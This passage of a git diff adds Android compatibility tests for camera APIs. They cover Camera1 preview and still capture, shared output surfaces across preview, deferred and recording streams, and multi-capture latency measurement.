+        assertNotNull("Unable to decode still capture JPEG", b);
+
+        closeImageReader();
+    }
+
+    private class Camera1Listener
+            implements SurfaceTexture.OnFrameAvailableListener, Camera.PictureCallback {
+
+        private Object mFrameSignal = new Object();
+        private boolean mGotFrame = false;
+
+        public boolean waitForFrame() {
+            synchronized(mFrameSignal) {
+                boolean waited = false;
+                while (!waited) {
+                    try {
+                        mFrameSignal.wait(WAIT_FOR_FRAMES_TIMEOUT_MS);
+                        waited = true;
+                    } catch (InterruptedException e) {
+                    }
+                }
+                return mGotFrame;
+            }
+        }
+
+        public void onFrameAvailable(SurfaceTexture s) {
+            synchronized(mFrameSignal) {
+                mGotFrame = true;
+                mFrameSignal.notifyAll();
+            }
+        }
+
+        private Object mPictureSignal = new Object();
+        private byte[] mPictureData = null;
+
+        public byte[] waitForPicture() {
+            synchronized(mPictureSignal) {
+                boolean waited = false;
+                while (!waited) {
+                    try {
+                        mPictureSignal.wait(WAIT_FOR_PICTURE_TIMEOUT_MS);
+                        waited = true;
+                    } catch (InterruptedException e) {
+                    }
+                }
+                return mPictureData;
+            }
+        }
+
+        public void onPictureTaken(byte[] data, Camera camera) {
+            synchronized(mPictureSignal) {
+                mPictureData = data;
+                mPictureSignal.notifyAll();
+            }
+        }
+    }
+
+    public void testCamera1() throws Exception {
+        for (int i = 0; i < Camera.getNumberOfCameras(); i++) {
+            Camera camera = null;
+            try {
+                Log.i(TAG, "Testing android.hardware.Camera API for camera device " + i);
+
+                camera = Camera.open(i);
+
+                Camera1Listener listener = new Camera1Listener();
+
+                SurfaceTexture st = new SurfaceTexture(/*random int*/ 5);
+                st.setOnFrameAvailableListener(listener);
+
+                camera.setPreviewTexture(st);
+                camera.startPreview();
+
+                assertTrue("No preview received from camera", listener.waitForFrame());
+
+                camera.takePicture(null, null, listener);
+
+                byte[] picture = listener.waitForPicture();
+
+                assertNotNull("No still picture received from camera", picture);
+
+                Bitmap b = BitmapFactory.decodeByteArray(picture, 0, picture.length);
+
+                assertNotNull("Still picture could not be decoded into Bitmap", b);
+
+            } finally {
+                if (camera != null) {
+                    camera.release();
+                }
+            }
+        }
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 15ff414..265729d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -22,8 +22,10 @@
 import android.graphics.SurfaceTexture;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.cts.CameraTestUtils.ImageVerifierListener;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.testcases.Camera2MultiViewTestCase;
 import android.hardware.camera2.cts.testcases.Camera2MultiViewTestCase.CameraPreviewListener;
+import android.hardware.camera2.params.OutputConfiguration;
 import android.media.ImageReader;
 import android.os.SystemClock;
 import android.util.Log;
@@ -232,6 +234,36 @@
         }
     }
 
+    /*
+     * Verify behavior of sharing surfaces within one OutputConfiguration
+     */
+    public void testSharedSurfaces() throws Exception {
+        for (String cameraId : mCameraIds) {
+            try {
+                openCamera(cameraId);
+                if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+                    Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+                    continue;
+                }
+                if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + cameraId +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                testSharedSurfacesConfigByCamera(cameraId);
+
+                testSharedSurfacesCaptureSessionByCamera(cameraId);
+
+                testSharedDeferredSurfacesByCamera(cameraId);
+            }
+            finally {
+                closeCamera(cameraId);
+            }
+        }
+    }
+
+
     /**
      * Start camera preview using input texture views and/or one image reader
      */
@@ -287,4 +319,269 @@
 
         stopPreview(cameraId);
     }
+
+    /*
+     * Verify behavior of OutputConfiguration when sharing surfaces
+     */
+    private void testSharedSurfacesConfigByCamera(String cameraId) throws Exception {
+        Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+
+        SurfaceTexture[] previewTexture = new SurfaceTexture[2];
+        Surface[] surfaces = new Surface[2];
+
+        // Create surface textures with the same size
+        for (int i = 0; i < 2; i++) {
+            previewTexture[i] = getAvailableSurfaceTexture(
+                    WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+            assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+            previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+            // Correct the preview display rotation.
+            updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+            surfaces[i] = new Surface(previewTexture[i]);
+        }
+
+        // Verify that outputConfiguration can be created with 2 surfaces with the same setting.
+        OutputConfiguration previewConfiguration = new OutputConfiguration(
+                OutputConfiguration.SURFACE_GROUP_ID_NONE, surfaces[0]);
+        previewConfiguration.enableSurfaceSharing();
+        previewConfiguration.addSurface(surfaces[1]);
+        List<Surface> previewSurfaces = previewConfiguration.getSurfaces();
+        List<Surface> inputSurfaces = Arrays.asList(surfaces);
+        assertTrue(
+                String.format("Surfaces returned from getSurfaces() don't match those passed in"),
+                previewSurfaces.equals(inputSurfaces));
+
+        // Verify that createCaptureSession fails if 2 surfaces are different size
+        SurfaceTexture outputTexture2 = new SurfaceTexture(/* random texture ID*/ 5);
+        outputTexture2.setDefaultBufferSize(previewSize.getWidth()/2,
+                previewSize.getHeight()/2);
+        Surface outputSurface2 = new Surface(outputTexture2);
+        OutputConfiguration configuration = new OutputConfiguration(
+                OutputConfiguration.SURFACE_GROUP_ID_NONE, surfaces[0]);
+        configuration.enableSurfaceSharing();
+        configuration.addSurface(outputSurface2);
+        List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+        outputConfigurations.add(configuration);
+        verifyCreateSessionWithConfigsFailure(cameraId, outputConfigurations);
+
+        // Verify that outputConfiguration throws exception if 2 surfaces are different format
+        ImageReader imageReader = makeImageReader(previewSize, ImageFormat.YUV_420_888,
+                MAX_READER_IMAGES, new ImageDropperListener(), mHandler);
+        try {
+            configuration = new OutputConfiguration(OutputConfiguration.SURFACE_GROUP_ID_NONE,
+                    surfaces[0]);
+            configuration.enableSurfaceSharing();
+            configuration.addSurface(imageReader.getSurface());
+            fail("No error for invalid output config created from different format surfaces");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        // Verify that outputConfiguration can be created with deferred surface with the same
+        // setting.
+        OutputConfiguration deferredPreviewConfigure = new OutputConfiguration(
+                previewSize, SurfaceTexture.class);
+        deferredPreviewConfigure.addSurface(surfaces[0]);
+        assertTrue(String.format("Number of surfaces %d doesn't match expected value 1",
+                deferredPreviewConfigure.getSurfaces().size()),
+                deferredPreviewConfigure.getSurfaces().size() == 1);
+        assertEquals("Surface 0 in OutputConfiguration doesn't match input",
+                deferredPreviewConfigure.getSurfaces().get(0), surfaces[0]);
+
+        // Verify that outputConfiguration throws exception if deferred surface and non-deferred
+        // surface properties don't match
+        try {
+            configuration = new OutputConfiguration(previewSize, SurfaceTexture.class);
+            configuration.addSurface(imageReader.getSurface());
+            fail("No error for invalid output config created deferred class with different type");
+        } catch (IllegalArgumentException e) {
+            // expected;
+        }
+
+        // Verify that non implementation-defined formats sharing are not supported.
+        int[] unsupportedFormats =
+                {ImageFormat.YUV_420_888, ImageFormat.DEPTH16, ImageFormat.DEPTH_POINT_CLOUD,
+                 ImageFormat.JPEG, ImageFormat.RAW_SENSOR, ImageFormat.RAW_PRIVATE};
+        for (int format : unsupportedFormats) {
+            Size[] availableSizes = getStaticInfo(cameraId).getAvailableSizesForFormatChecked(
+                    format, StaticMetadata.StreamDirection.Output);
+            if (availableSizes.length == 0) {
+                continue;
+            }
+            Size size = availableSizes[0];
+
+            imageReader = makeImageReader(size, format, MAX_READER_IMAGES,
+                    new ImageDropperListener(), mHandler);
+            configuration = new OutputConfiguration(OutputConfiguration.SURFACE_GROUP_ID_NONE,
+                    imageReader.getSurface());
+            configuration.enableSurfaceSharing();
+
+            List<OutputConfiguration> outputConfigs = new ArrayList<>();
+            outputConfigs.add(configuration);
+
+            verifyCreateSessionWithConfigsFailure(cameraId, outputConfigs);
+
+        }
+    }
+
+    private void testSharedSurfacesCaptureSessionByCamera(String cameraId) throws Exception {
+        Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+        CameraPreviewListener[] previewListener = new CameraPreviewListener[2];
+        SurfaceTexture[] previewTexture = new SurfaceTexture[2];
+        Surface[] surfaces = new Surface[2];
+
+        // Create surface textures with the same size
+        for (int i = 0; i < 2; i++) {
+            previewListener[i] = new CameraPreviewListener();
+            mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+            previewTexture[i] = getAvailableSurfaceTexture(
+                    WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+            assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+            previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+            // Correct the preview display rotation.
+            updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+            surfaces[i] = new Surface(previewTexture[i]);
+        }
+
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+
+        // Create shared outputs for the two surface textures
+        OutputConfiguration surfaceSharedOutput = new OutputConfiguration(
+                OutputConfiguration.SURFACE_GROUP_ID_NONE, surfaces[0]);
+        surfaceSharedOutput.enableSurfaceSharing();
+        surfaceSharedOutput.addSurface(surfaces[1]);
+
+        List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+        outputConfigurations.add(surfaceSharedOutput);
+
+        startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+        for (int i = 0; i < 2; i++) {
+            boolean previewDone =
+                    previewListener[i].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+            assertTrue("Unable to start preview " + i, previewDone);
+            mTextureView[i].setSurfaceTextureListener(null);
+        }
+
+        SystemClock.sleep(PREVIEW_TIME_MS);
+
+        stopPreview(cameraId);
+    }
+
+    private void testSharedDeferredSurfacesByCamera(String cameraId) throws Exception {
+        Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+        CameraPreviewListener[] previewListener = new CameraPreviewListener[2];
+        SurfaceTexture[] previewTexture = new SurfaceTexture[2];
+        Surface[] surfaces = new Surface[2];
+
+        // Create surface textures with the same size
+        for (int i = 0; i < 2; i++) {
+            previewListener[i] = new CameraPreviewListener();
+            mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+            previewTexture[i] = getAvailableSurfaceTexture(
+                    WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+            assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+            previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+            // Correct the preview display rotation.
+            updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+            surfaces[i] = new Surface(previewTexture[i]);
+        }
+
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+
+        //
+        // Create deferred outputConfiguration, addSurface, createCaptureSession, addSurface, and
+        // finalizeOutputConfigurations.
+        //
+
+        OutputConfiguration surfaceSharedOutput = new OutputConfiguration(
+                previewSize, SurfaceTexture.class);
+        surfaceSharedOutput.enableSurfaceSharing();
+        surfaceSharedOutput.addSurface(surfaces[0]);
+
+        List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+        outputConfigurations.add(surfaceSharedOutput);
+
+        // Run preview with one surface, and verify at least one frame is received.
+        startPreviewWithConfigs(cameraId, outputConfigurations, null);
+        boolean previewDone =
+                previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+        assertTrue("Unable to start preview 0", previewDone);
+
+        SystemClock.sleep(PREVIEW_TIME_MS);
+
+        // Add deferred surface to the output configuration
+        surfaceSharedOutput.addSurface(surfaces[1]);
+        List<OutputConfiguration> deferredConfigs = new ArrayList<OutputConfiguration>();
+        deferredConfigs.add(surfaceSharedOutput);
+
+        // Run preview with both surfaces, and verify at least one frame is received for each
+        // surface.
+        updateOutputConfigs(cameraId, deferredConfigs, null);
+        previewDone =
+                previewListener[1].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+        assertTrue("Unable to start preview 1", previewDone);
+
+        stopPreview(cameraId);
+
+        previewListener[0].reset();
+        previewListener[1].reset();
+
+        //
+        // Create outputConfiguration with a surface, createCaptureSession, addSurface, and
+        // finalizeOutputConfigurations.
+        //
+
+        surfaceSharedOutput = new OutputConfiguration(
+                OutputConfiguration.SURFACE_GROUP_ID_NONE, surfaces[0]);
+        surfaceSharedOutput.enableSurfaceSharing();
+        outputConfigurations.clear();
+        outputConfigurations.add(surfaceSharedOutput);
+
+        startPreviewWithConfigs(cameraId, outputConfigurations, null);
+        previewDone =
+                previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+        assertTrue("Unable to start preview 0", previewDone);
+
+        // Add deferred surface to the output configuration, and continue running preview
+        surfaceSharedOutput.addSurface(surfaces[1]);
+        deferredConfigs.clear();
+        deferredConfigs.add(surfaceSharedOutput);
+        updateOutputConfigs(cameraId, deferredConfigs, null);
+        previewDone =
+                previewListener[1].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+        assertTrue("Unable to start preview 1", previewDone);
+
+        SystemClock.sleep(PREVIEW_TIME_MS);
+        stopPreview(cameraId);
+
+        previewListener[0].reset();
+        previewListener[1].reset();
+
+        //
+        // Create deferred output configuration, createCaptureSession, addSurface, addSurface, and
+        // finalizeOutputConfigurations.
+
+        surfaceSharedOutput = new OutputConfiguration(
+                previewSize, SurfaceTexture.class);
+        surfaceSharedOutput.enableSurfaceSharing();
+        outputConfigurations.clear();
+        outputConfigurations.add(surfaceSharedOutput);
+        createSessionWithConfigs(cameraId, outputConfigurations);
+
+        // Add 2 surfaces to the output configuration, and run preview
+        surfaceSharedOutput.addSurface(surfaces[0]);
+        surfaceSharedOutput.addSurface(surfaces[1]);
+        deferredConfigs.clear();
+        deferredConfigs.add(surfaceSharedOutput);
+        updateOutputConfigs(cameraId, deferredConfigs, null);
+        for (int i = 0; i < 2; i++) {
+            previewDone =
+                    previewListener[i].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+            assertTrue("Unable to start preview " + i, previewDone);
+        }
+
+        SystemClock.sleep(PREVIEW_TIME_MS);
+        stopPreview(cameraId);
+    }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 7e28403..b88a80f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -22,6 +22,7 @@
 import android.hardware.camera2.CameraAccessException;
 import android.hardware.camera2.CameraCaptureSession;
 import android.hardware.camera2.CameraCaptureSession.CaptureCallback;
+import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CaptureRequest;
 import android.hardware.camera2.CaptureResult;
@@ -32,6 +33,7 @@
 import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
 import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
 import android.hardware.camera2.params.InputConfiguration;
+import android.hardware.camera2.params.StreamConfigurationMap;
 import android.media.Image;
 import android.media.ImageReader;
 import android.media.ImageWriter;
@@ -39,6 +41,7 @@
 import android.os.SystemClock;
 import android.util.Log;
 import android.util.Pair;
+import android.util.Range;
 import android.util.Size;
 import android.view.Surface;
 
@@ -338,6 +341,209 @@
     }
 
     /**
+     * Test multiple capture KPI for YUV_420_888 format: the average time duration
+     * between sending out image capture requests and receiving capture results.
+     * <p>
+     * It measures capture latency, which is the time between sending out the capture
+     * request and getting the full capture result, and the frame duration, which is the timestamp
+     * gap between results.
+     * </p>
+     */
+    public void testMultipleCapture() throws Exception {
+        double[] avgResultTimes = new double[mCameraIds.length];
+        double[] avgDurationMs = new double[mCameraIds.length];
+
+        // A simple CaptureSession StateCallback to handle onCaptureQueueEmpty
+        class MultipleCaptureStateCallback extends CameraCaptureSession.StateCallback {
+            private ConditionVariable captureQueueEmptyCond = new ConditionVariable();
+            private int captureQueueEmptied = 0;
+
+            @Override
+            public void onConfigured(CameraCaptureSession session) {
+                // Empty implementation
+            }
+
+            @Override
+            public void onConfigureFailed(CameraCaptureSession session) {
+                // Empty implementation
+            }
+
+            @Override
+            public void onCaptureQueueEmpty(CameraCaptureSession session) {
+                captureQueueEmptied++;
+                if (VERBOSE) {
+                    Log.v(TAG, "onCaptureQueueEmpty received. captureQueueEmptied = "
+                        + captureQueueEmptied);
+                }
+
+                captureQueueEmptyCond.open();
+            }
+
+            /* Wait for onCaptureQueueEmpty, return immediately if an onCaptureQueueEmpty was
+             * already received, otherwise, wait for one to arrive. */
+            public void waitForCaptureQueueEmpty(long timeout) {
+                if (captureQueueEmptied > 0) {
+                    captureQueueEmptied--;
+                    return;
+                }
+
+                if (captureQueueEmptyCond.block(timeout)) {
+                    captureQueueEmptyCond.close();
+                    captureQueueEmptied = 0;
+                } else {
+                    throw new TimeoutRuntimeException("Unable to receive onCaptureQueueEmpty after "
+                        + timeout + "ms");
+                }
+            }
+        }
+
+        final MultipleCaptureStateCallback sessionListener = new MultipleCaptureStateCallback();
+
+        int counter = 0;
+        for (String id : mCameraIds) {
+            // Do NOT move these variables to outer scope
+            // They will be passed to DeviceReportLog and their references will be stored
+            String streamName = "test_multiple_capture";
+            mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
+            mReportLog.addValue("camera_id", id, ResultType.NEUTRAL, ResultUnit.NONE);
+            long[] startTimes = new long[NUM_MAX_IMAGES];
+            double[] getResultTimes = new double[NUM_MAX_IMAGES];
+            double[] frameDurationMs = new double[NUM_MAX_IMAGES-1];
+            try {
+                openDevice(id);
+
+                if (!mStaticInfo.isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
+                    continue;
+                }
+
+                for (int i = 0; i < NUM_TEST_LOOPS; i++) {
+
+                    // setup builders and listeners
+                    CaptureRequest.Builder previewBuilder =
+                            mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+                    CaptureRequest.Builder captureBuilder =
+                            mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+                    SimpleCaptureCallback previewResultListener =
+                            new SimpleCaptureCallback();
+                    SimpleTimingResultListener captureResultListener =
+                            new SimpleTimingResultListener();
+                    SimpleImageReaderListener imageListener =
+                            new SimpleImageReaderListener(/*asyncMode*/true, NUM_MAX_IMAGES);
+
+                    Size maxYuvSize = CameraTestUtils.getSortedSizesForFormat(
+                        id, mCameraManager, ImageFormat.YUV_420_888, /*bound*/null).get(0);
+                    // Find minimum frame duration for YUV_420_888
+                    StreamConfigurationMap config = mStaticInfo.getCharacteristics().get(
+                            CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+                    final long minStillFrameDuration =
+                            config.getOutputMinFrameDuration(ImageFormat.YUV_420_888, maxYuvSize);
+                    Range<Integer> targetRange = getSuitableFpsRangeForDuration(id,
+                            minStillFrameDuration);
+                    previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE,
+                            targetRange);
+                    captureBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE,
+                            targetRange);
+
+                    prepareCaptureAndStartPreview(previewBuilder, captureBuilder,
+                            mOrderedPreviewSizes.get(0), maxYuvSize,
+                            ImageFormat.YUV_420_888, previewResultListener,
+                            sessionListener, NUM_MAX_IMAGES, imageListener);
+
+                    // Converge AE
+                    waitForAeStable(previewResultListener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
+
+                    if (mStaticInfo.isAeLockSupported()) {
+                        // Lock AE if possible to improve stability
+                        previewBuilder.set(CaptureRequest.CONTROL_AE_LOCK, true);
+                        mSession.setRepeatingRequest(previewBuilder.build(), previewResultListener,
+                                mHandler);
+                        if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
+                            // Legacy mode doesn't output AE state
+                            waitForResultValue(previewResultListener, CaptureResult.CONTROL_AE_STATE,
+                                    CaptureResult.CONTROL_AE_STATE_LOCKED, NUM_RESULTS_WAIT_TIMEOUT);
+                        }
+                    }
+
+                    // Capture NUM_MAX_IMAGES images based on onCaptureQueueEmpty callback
+                    for (int j = 0; j < NUM_MAX_IMAGES; j++) {
+
+                        // Capture an image and get image data
+                        startTimes[j] = SystemClock.elapsedRealtime();
+                        CaptureRequest request = captureBuilder.build();
+                        mSession.capture(request, captureResultListener, mHandler);
+
+                        // Wait for capture queue empty for the current request
+                        sessionListener.waitForCaptureQueueEmpty(
+                                CameraTestUtils.CAPTURE_IMAGE_TIMEOUT_MS);
+                    }
+
+                    // Acquire the capture result time and frame duration
+                    long prevTimestamp = -1;
+                    for (int j = 0; j < NUM_MAX_IMAGES; j++) {
+                        Pair<CaptureResult, Long> captureResultNTime =
+                                captureResultListener.getCaptureResultNTime(
+                                        CameraTestUtils.CAPTURE_RESULT_TIMEOUT_MS);
+
+                        getResultTimes[j] +=
+                                (double)(captureResultNTime.second - startTimes[j])/NUM_TEST_LOOPS;
+
+                        // Collect inter-frame timestamp
+                        long timestamp = captureResultNTime.first.get(CaptureResult.SENSOR_TIMESTAMP);
+                        if (prevTimestamp != -1) {
+                            frameDurationMs[j-1] +=
+                                    (double)(timestamp - prevTimestamp)/(NUM_TEST_LOOPS * 1000000.0);
+                        }
+                        prevTimestamp = timestamp;
+                    }
+
+                    // simulate real scenario (preview runs a bit)
+                    waitForNumResults(previewResultListener, NUM_RESULTS_WAIT);
+
+                    stopPreview();
+                }
+
+                for (int i = 0; i < getResultTimes.length; i++) {
+                    Log.v(TAG, "Camera " + id + " result time[" + i + "] is " +
+                            getResultTimes[i] + " ms");
+                }
+                for (int i = 0; i < NUM_MAX_IMAGES-1; i++) {
+                    Log.v(TAG, "Camera " + id + " frame duration time[" + i + "] is " +
+                            frameDurationMs[i] + " ms");
+                }
+
+                mReportLog.addValues("camera_multiple_capture_result_latency", getResultTimes,
+                        ResultType.LOWER_BETTER, ResultUnit.MS);
+                mReportLog.addValues("camera_multiple_capture_frame_duration", frameDurationMs,
+                        ResultType.LOWER_BETTER, ResultUnit.MS);
+
+
+                avgResultTimes[counter] = Stat.getAverage(getResultTimes);
+                avgDurationMs[counter] = Stat.getAverage(frameDurationMs);
+            }
+            finally {
+                closeImageReader();
+                closeDevice();
+            }
+            counter++;
+            mReportLog.submit(getInstrumentation());
+        }
+
+        // Result will not be reported in CTS report if no summary is printed.
+        if (mCameraIds.length != 0) {
+            String streamName = "test_multiple_capture_average";
+            mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
+            mReportLog.setSummary("camera_multiple_capture_result_average_latency_for_all_cameras",
+                    Stat.getAverage(avgResultTimes), ResultType.LOWER_BETTER, ResultUnit.MS);
+            mReportLog.submit(getInstrumentation());
+            mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
+            mReportLog.setSummary("camera_multiple_capture_frame_duration_average_for_all_cameras",
+                    Stat.getAverage(avgDurationMs), ResultType.LOWER_BETTER, ResultUnit.MS);
+            mReportLog.submit(getInstrumentation());
+        }
+    }
+
+    /**
      * Test reprocessing shot-to-shot latency with default NR and edge options, i.e., from the time
      * a reprocess request is issued to the time the reprocess image is returned.
      */
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index d466662..1e9696f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -14,7 +14,6 @@
 import static android.hardware.camera2.cts.CameraTestUtils.*;
 import static com.android.ex.camera2.blocking.BlockingSessionCallback.*;
 
-import android.cts.util.MediaUtils;
 import android.graphics.ImageFormat;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraCaptureSession;
@@ -22,6 +21,7 @@
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CaptureRequest;
 import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.params.OutputConfiguration;
 import android.hardware.camera2.params.StreamConfigurationMap;
 import android.util.Size;
 import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
@@ -43,6 +43,7 @@
 import android.util.Range;
 import android.view.Surface;
 
+import com.android.compatibility.common.util.MediaUtils;
 import com.android.ex.camera2.blocking.BlockingSessionCallback;
 
 import junit.framework.AssertionFailedError;
@@ -349,6 +350,87 @@
     }
 
     /**
+     * <p>
+     * Test preview and video surfaces sharing the same camera stream.
+     * </p>
+     */
+    public void testVideoPreviewSurfaceSharing() throws Exception {
+        for (int i = 0; i < mCameraIds.length; i++) {
+            try {
+                // Re-use the MediaRecorder object for the same camera device.
+                mMediaRecorder = new MediaRecorder();
+                openDevice(mCameraIds[i]);
+                if (mStaticInfo.isHardwareLevelLegacy()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] + " is legacy, skipping");
+                    continue;
+                }
+                if (!mStaticInfo.isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                initSupportedVideoSize(mCameraIds[i]);
+
+                videoPreviewSurfaceSharingTestByCamera();
+            } finally {
+                closeDevice();
+                releaseRecorder();
+            }
+        }
+    }
+
+    /**
+     * Test camera preview and video surface sharing for maximum supported size.
+     */
+    private void videoPreviewSurfaceSharingTestByCamera() throws Exception {
+        for (Size sz : mOrderedPreviewSizes) {
+            if (!isSupported(sz, VIDEO_FRAME_RATE, VIDEO_FRAME_RATE)) {
+                continue;
+            }
+
+            if (VERBOSE) {
+                Log.v(TAG, "Testing camera recording with video size " + sz.toString());
+            }
+
+            // Configure preview and recording surfaces.
+            mOutMediaFileName = VIDEO_FILE_PATH + "/test_video_share.mp4";
+            if (DEBUG_DUMP) {
+                mOutMediaFileName = VIDEO_FILE_PATH + "/test_video_share_" + mCamera.getId() + "_"
+                        + sz.toString() + ".mp4";
+            }
+
+            // Use AVC and AAC a/v compression format.
+            prepareRecording(sz, VIDEO_FRAME_RATE, VIDEO_FRAME_RATE);
+
+            // prepare preview surface by using video size.
+            updatePreviewSurfaceWithVideo(sz, VIDEO_FRAME_RATE);
+
+            // Start recording
+            SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+            if (!startSharedRecording(/* useMediaRecorder */true, resultListener,
+                    /*useVideoStab*/false)) {
+                mMediaRecorder.reset();
+                continue;
+            }
+
+            // Record certain duration.
+            SystemClock.sleep(RECORDING_DURATION_MS);
+
+            // Stop recording and preview
+            stopRecording(/* useMediaRecorder */true);
+            // Convert number of frames camera produced into the duration in unit of ms.
+            float frameDurationMs = 1000.0f / VIDEO_FRAME_RATE;
+            float durationMs = resultListener.getTotalNumFrames() * frameDurationMs;
+
+            // Validation.
+            validateRecording(sz, durationMs, frameDurationMs, FRMDRP_RATE_TOLERANCE);
+
+            break;
+        }
+    }
+
+    /**
      * Test slow motion recording where capture rate (camera output) is different with
      * video (playback) frame rate for each camera if high speed recording is supported
      * by both camera and encoder.
@@ -1205,6 +1287,58 @@
         mRecordingStartTime = SystemClock.elapsedRealtime();
     }
 
+    /**
+     * Start video recording with preview and video surfaces sharing the same
+     * camera stream.
+     *
+     * @return true if success, false if sharing is not supported.
+     */
+    private boolean startSharedRecording(boolean useMediaRecorder,
+            CameraCaptureSession.CaptureCallback listener, boolean useVideoStab) throws Exception {
+        if (!mStaticInfo.isVideoStabilizationSupported() && useVideoStab) {
+            throw new IllegalArgumentException("Video stabilization is not supported");
+        }
+
+        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>(2);
+        assertTrue("Both preview and recording surfaces should be valid",
+                mPreviewSurface.isValid() && mRecordingSurface.isValid());
+        OutputConfiguration sharedConfig = new OutputConfiguration(mPreviewSurface);
+        sharedConfig.enableSurfaceSharing();
+        sharedConfig.addSurface(mRecordingSurface);
+        outputConfigs.add(sharedConfig);
+
+        mSessionListener = new BlockingSessionCallback();
+        mSession = tryConfigureCameraSessionWithConfig(mCamera, outputConfigs,
+                mSessionListener, mHandler);
+
+        if (mSession == null) {
+            Log.i(TAG, "Sharing between preview and video is not supported");
+            return false;
+        }
+
+        CaptureRequest.Builder recordingRequestBuilder =
+                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_RECORD);
+        // Make sure camera output frame rate is set to correct value.
+        Range<Integer> fpsRange = Range.create(mVideoFrameRate, mVideoFrameRate);
+        recordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, fpsRange);
+        if (useVideoStab) {
+            recordingRequestBuilder.set(CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE,
+                    CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE_ON);
+        }
+        recordingRequestBuilder.addTarget(mRecordingSurface);
+        recordingRequestBuilder.addTarget(mPreviewSurface);
+        mSession.setRepeatingRequest(recordingRequestBuilder.build(), listener, mHandler);
+
+        if (useMediaRecorder) {
+            mMediaRecorder.start();
+        } else {
+            // TODO: need implement MediaCodec path.
+        }
+        mRecordingStartTime = SystemClock.elapsedRealtime();
+        return true;
+    }
+
+
     private void stopCameraStreaming() throws Exception {
         if (VERBOSE) {
             Log.v(TAG, "Stopping camera streaming and waiting for idle");
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index e8995ae..a900b84 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
